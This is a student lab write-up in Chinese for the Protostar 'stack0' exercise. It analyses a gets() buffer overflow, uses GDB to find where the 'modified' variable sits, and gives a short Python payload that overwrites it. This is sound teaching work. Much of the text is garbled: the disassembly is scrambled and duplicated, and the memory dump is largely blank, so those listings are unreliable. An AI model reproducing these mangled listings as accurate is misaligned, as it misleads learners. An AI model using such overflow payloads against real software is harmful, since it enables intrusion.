## CS3312 Lab Report Stack0

Osamu Takenaka 520030990026

#### 源码分析

```
x86汇编代码(由objdump得到):
```

```
080483f4 <main>:
 80483f4:
                                                    push %ebp
                                                              %esp,%ebp
$0xfffffff0,%esp
 80483f5:
                    89 e5
                                                    mov
                   83 e4 f0
 80483f7:
                                                    and
              83 ec 60 sub $0x60,%esp c7 44 24 5c 00 00 00 movl $0x0,0x5c(%esp)
 80483fa:
 80483fd:
 8048404:
                     00
                   8d 44 24 1c lea 0x1c(%esp),%eax
89 04 24 mov %eax,(%esp)
e8 fb fe ff ff call 804830c <gets@plt>
8b 44 24 5c mov 0x5c(%esp),%eax
85 c0 test %eax,%eax
                   8d 44 24 1c
                                                   lea 0x1c(%esp),%eax
 8048405:
 8048409:
                  89 04 24
 804840c:
 8048411:
 8048415:
8048417: 74 0e je 8048427 <a href="mainth0x33">6048419: c7 04 24 00 85 04 08 movl $0x8048500,(%esp) $048420: e8 07 ff ff ff call $04832c <puts@plt> 8048425: eb 0c imp 8048220 <puts@plt>
 8048425:
8048427:
                   eb 0c jmp 8048433 <main+0x3f>
c7 04 24 29 85 04 08 movl $0x8048529,(%esp)
e8 f9 fe ff ff call 804832c <puts@plt>
 8048427: C7 04 24 25 05 0. 55
804842e: e8 f9 fe ff ff
8048433: c9
                                                     leave
 8048434:
                   c3
                                                     ret
C语言源代码:
#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
int main(int argc, char **argv)
     volatile int modified;
     char buffer[64];
     modified = 0;
     gets(buffer);
     if(modified != 0) {
          printf("you have changed the 'modified' variable\n");
     } else {
          printf("Try again?\n");
}
```

这段C程序是一个典型的缓冲区溢出漏洞,

其使用 gets 函数从标准输入读取字符串,存储在 buffer 中, gets 函数不会检查输入的长度,所以可以输入超长字符串,导致缓冲区溢出。通过构造的输入,攻击者可以 覆盖 modified 变量的值。

代码中可以看出,我们作为攻击者需要做的事情是让 modified 变量不等于0,这样就可以输出 you have changed the 'modified' variable 。

所以我们接下来,我们需要知道 buffer 的地址和 modified 的地址,然后通过输入超长字符串来覆盖 modified 的值。

#### GDB调试

通过 modified = 0 这句C代码可以很容易找到对应的汇编代码:

```
80483fd: c7 44 24 5c 00 00 00 movl $0x0,0x5c(%esp) 不难看出, modfied变量的地址是0x5c加上寄存器esp的值。
```

接下来我们需要通过gdb,来查看esp的值,以及buffer的地址。

添加函数main的断点,然后运行

```
| Desired Form | Form |
```

为了在接下来打印内存时更容易找到 buffer 的区域,并且 buffer 的大小就是64个Byte,我们在输入时输入64个'a'

打印 %esp 的值,得到 %esp=0xff9600a0,然后通过 %esp 的值加上0x5c得到 modified 的地址是 0xff9600fc 得到

```
(gdb) print $esp
$1 = (void *) 0xff9600a0
```

然后我们需要打印 0xff9600a0 开始的内存区域,找到buffer的地址区域

(gdb) x/128xb 0xff9600a0:	0xff9600		0x96	0xff				
0xff9600a8:	0x00	0×00	0×00	0×00	0×00	0xad	0x88	0x19
0xff9600b0:	0x07	0×00	0x00	0x00	0xb3	0x08	0x96	0xff
0xff9600b8:								
0xff9600c0:								
0xff9600c8:								
0xff9600d0:								
0xff9600d8:								
0xff9600e8:								
0xff9600f0:								
0xff960110:								
0xff960118:		0x01	0x96	0xff	0x34	0x01	0x96	0xff

可以很明显地看到大片的'a'即 0x61 ,即为buffer的地址区域,为 0xff9600bc 至 0xff9600fb 我们定位到 modified 的地址 0xff9600fc ,可以发现它就紧挨着buffer的地址区域结束的地方。

于是我们只要输入64个字符后,再输入1个字符,就可以覆盖 modified 的值。

### 攻击脚本内容

内容如下,64个'a'再加上1个'1'

```
script_stack0.py:

input = 'a'*64 + '1'

print input

在终端中运行:

(python script_stack0.py) | ./stack0
```

# 结果(非GDB环境)

```
root@protostar:/opt/protostar/bin# (python script_stack0.py) | ./stack0 you have changed the 'modified' variable root@protostar:/opt/protostar/bin# []
```

攻击成功